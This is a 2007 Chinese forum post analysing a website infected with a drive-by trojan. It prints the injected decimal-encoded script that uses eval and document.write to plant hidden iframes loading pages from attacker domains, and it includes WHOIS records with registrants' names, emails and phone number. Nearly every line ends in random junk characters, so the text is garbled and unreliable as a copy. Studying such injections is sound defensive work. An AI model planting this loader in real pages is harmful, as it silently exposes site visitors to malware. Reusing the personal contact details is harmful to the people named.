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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, lN~u='Kc  
w^E$R  
http://www.areway.cn/?p=175 D* QZR;D#.  
p5`={'>-  
AQjf\i  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: wu~?P`  
          S1U>Q~ZPA  
<script>t=’60,105,102,114,97,109,101, jg\FD51$  
32,115,114,99,61,104,116,116,112,58,47,47, ZW%;"5uVm)  
102,114,101,101,46,117,45,117,117,117,46,99, |"aop|  
110,47,101,114,114,111,114,46,104,116,109, Ef\&3TcQ  
32,119,105,100,116,104,61,49,48,48,32,104, L]wk Ba  
101,105,103,104,116,61,48,62,60,47,105,102, &F~97F)A)  
114,97,109,101,62′; K;lxPM]  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> f^|r*@o  
                                                                                                  j]'ybpMT"  
<script>t=’60,105,102,114,97,109,101,32,115, l]~mB~  
114,99,61,104,116,116,112,58,47,47,102,114, 71G\b|5  
101,101,46,117,45,117,117,117,46,99,110,47, ^*'fDP*  
101,114,114,111,114,46,104,116,109,32,119, 0JU+v:J[=  
105,100,116,104,61,49,48,48,32,104,101,105, $ #bWh  
103,104,116,61,48,62,60,47,105,102,114,97, iq<nuO  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); H8V@KB  
document.write(t);</script> `=P=i>,  
                                                                                                  BPd *@l  
<html xmlns=” &\e8c g  
http://www.w3.org/1999/xhtml  J;GYo|8  
“> ]o ($No  
<head> Dio)orc  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> G'{*guYU  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> x:iLBYf  
<title>首页 - 爱生活家庭网 1 Sz v4  
                                                                                                                                                    &f-x+y  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 vVf%wei^#  
转换字符串后的大概内容是(谁点击后果自付): TpRI+*\  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… MQMc=Z4d  
                                                                                                                                  ,A[NcFdCB  
查询玉米u-uuu.cn的详细信息: W.nr&yiQ  
Domain Name: u-uuu.cn l#&\,T  
ROID: 20070901s10001s64972306-cn |-`-zo4z  
Domain Status: ok E_-g<Cw  
Registrant Organization: 王雷 z<OfSS_]R  
Registrant Name: 王雷 GQ6~Si2  
Administrative Email: czlovexs@126.com #'8'5b  
Sponsoring Registrar: 北京万网志成科技有限公司 ,m[#<}xXA  
Name Server:ns.yovole.com j7yUya&  
Name Server:ns1.yovole.com  Y3g<%6  
Registration Date: 2007-09-01 17:54 TEQs9-Uy  
Expiration Date: 2008-09-01 17:54 ?fX`z(Z  
最后PING了一下地址 都没有什么…. qnJs,"sn  
                                                                                                ,qwVDYJ  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. kE854Ej  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 6vf<lmN  
<script language=”javascript” src=” P~h 0Ul  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script mbXW$E-&R2  
> [ z,6K=  
这个玉米应该有可能是木马作者的: .TO#\!KBv  
foafau.info的详细信息: -cgMf\YF  
Access to INFO WHOIS information is provided to assist persons in <Y)Aez  
determining the contents of a domain name registration record in the l0lvca=;  
Afilias registry database. The data in this record is provided by /)<Xoa  
Afilias Limited for informational purposes only, and Afilias does not ~(}n d  
guarantee its accuracy.  This service is intended only for query-based G]T&{3g-.  
access. You agree that you will use this data only for lawful purposes l*b0uF  
and that, under no circumstances will you use this data to: (a) allow, @me ( pnD  
enable, or otherwise support the transmission by e-mail, telephone, or B8>3GZi  
facsimile of mass unsolicited, commercial advertising or solicitations jE!?;} P1  
to entities other than the data recipient’s own existing customers; or {w mP  
(b) enable high volume, automated, electronic processes that send 4^7*R  
queries or data to the systems of Registry Operator, a Registrar, or 9a]JQ  
Afilias except as reasonably necessary to register domain names or h@@q:I=  
modify existing registrations. All rights reserved. Afilias reserves AZva  
the right to modify these terms at any time. By submitting this query, [/U5M>#n  
you agree to abide by this policy. (p(-E  
Domain ID:D22418703-LRMS FL[w\&fp  
Domain Name:FOAFAU.INFO Z b:S IJ  
Created On:20-Nov-2007 16:05:42 UTC ]%Lk#BA@A  
Last Updated On:20-Nov-2007 16:05:44 UTC KqvM5$3  
Expiration Date:20-Nov-2008 16:05:42 UTC "ZP)[ [Rd  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) k iu#THF  
Status:CLIENT DELETE PROHIBITED ^zKP5nzL  
Status:CLIENT RENEW PROHIBITED XGAR8=tic  
Status:CLIENT TRANSFER PROHIBITED uQ3W =  
Status:CLIENT UPDATE PROHIBITED Ygc.0VKMR  
Status:TRANSFER PROHIBITED (r/))I9^  
Registrant ID:GODA-040110615 x,Z:12H0  
Registrant Name:liu hong zO((FQ  
Registrant Organization: ZJV;&[$[  
Registrant Street1:beijing +\RviF[+  
Registrant Street2: ql7N\COoq  
Registrant Street3: t;W'<.m_  
Registrant City:beijing Cf.(/5X  
Registrant State/Province: 3u oIYY  
Registrant Postal Code:100000 YLp#z8 1e  
Registrant Country:CN I @ D<rjR  
Registrant Phone:+86.860108888777 3XhLn/@  
Registrant Phone Ext.: V3$zlzSm,  
Registrant FAX: ~Gh9m ]b  
Registrant FAX Ext.: ,e{1l   
Registrant Email:bbbshiji@163.com WD|pG;Gq  
Admin ID:GODA-240110615 *~^M_wej  
Admin Name:liu hong wp<f{^ et  
Admin Organization: y<m }dW6[\  
Admin Street1:beijing /J!~0~F  
Admin Street2: {4r }jH  
Admin Street3: OQ+kOE&  
Admin City:beijing lh-zE5;  
Admin State/Province: nQ;M@k&9eV  
Admin Postal Code:100000 G&@_,y|  
Admin Country:CN R:U!HE8j   
Admin Phone:+86.860108888777 U /jCM?~  
Admin Phone Ext.: JnS@}m  
Admin FAX: ]Uul~T  
Admin FAX Ext.: (S8hr,%n  
Admin Email:bbbshiji@163.com mV|Z5= f  
Billing ID:GODA-340110615 ~Hvf"bvK|  
Billing Name:liu hong K QCF "  
Billing Organization: &X)^G#  
Billing Street1:beijing +K48c,gt?  
Billing Street2: BP=<TRp .  
Billing Street3: .2SD)<}(9  
Billing City:beijing aPHNX)  
Billing State/Province: sM@1Qyv&0  
Billing Postal Code:100000 c.uD%  
Billing Country:CN xd!GRJ<I  
Billing Phone:+86.860108888777 7o9[cq w  
Billing Phone Ext.: m 3Do+!M[  
Billing FAX: ese?;1r  
Billing FAX Ext.: 1WAps#b.  
Billing Email:bbbshiji@163.com |fPR7-  
Tech ID:GODA-140110615  )OZ  
Tech Name:liu hong k#x"'yZ  
Tech Organization: O7yIFqI=/  
Tech Street1:beijing in2m/q?  
Tech Street2: DYTC2  
Tech Street3: bl[2VM7P  
Tech City:beijing ^F87gow%`B  
Tech State/Province: G`z=qaj  
Tech Postal Code:100000 ' [%?j?2r  
Tech Country:CN r[3 2'E  
Tech Phone:+86.860108888777 Iy@6cd,)S  
Tech Phone Ext.: )@6iQ  
Tech FAX: w5q'M  
Tech FAX Ext.: PDpDkcy|QM  
Tech Email:bbbshiji@163.com _.5AB E  
Name Server:NS27.DOMAINCONTROL.COM  dQI6.$?  
Name Server:NS28.DOMAINCONTROL.COM moE!~IroG  
Name Server: gCaxZ~o  
Name Server: nQd~i0`vB  
Name Server: gqDSHFm:  
Name Server: ZQ[s/  
Name Server: /H*n(d  
Name Server: M+WN\.2pX  
Name Server: c> ":g~w  
Name Server: % {A%SDh  
Name Server: yAu .=Eo7  
Name Server: +z+u=)I  
Name Server: F<(?N!C?@  
                                                                                                          34t[]v|LD  
接着下载每个文件里面的代码: h 2C9p2.  
一步一步看.. >Slu?{l'  
YT<(2u#Ng  
#./8inbG  
}M &hcw<  
h/7_IuD  
a4eE/1  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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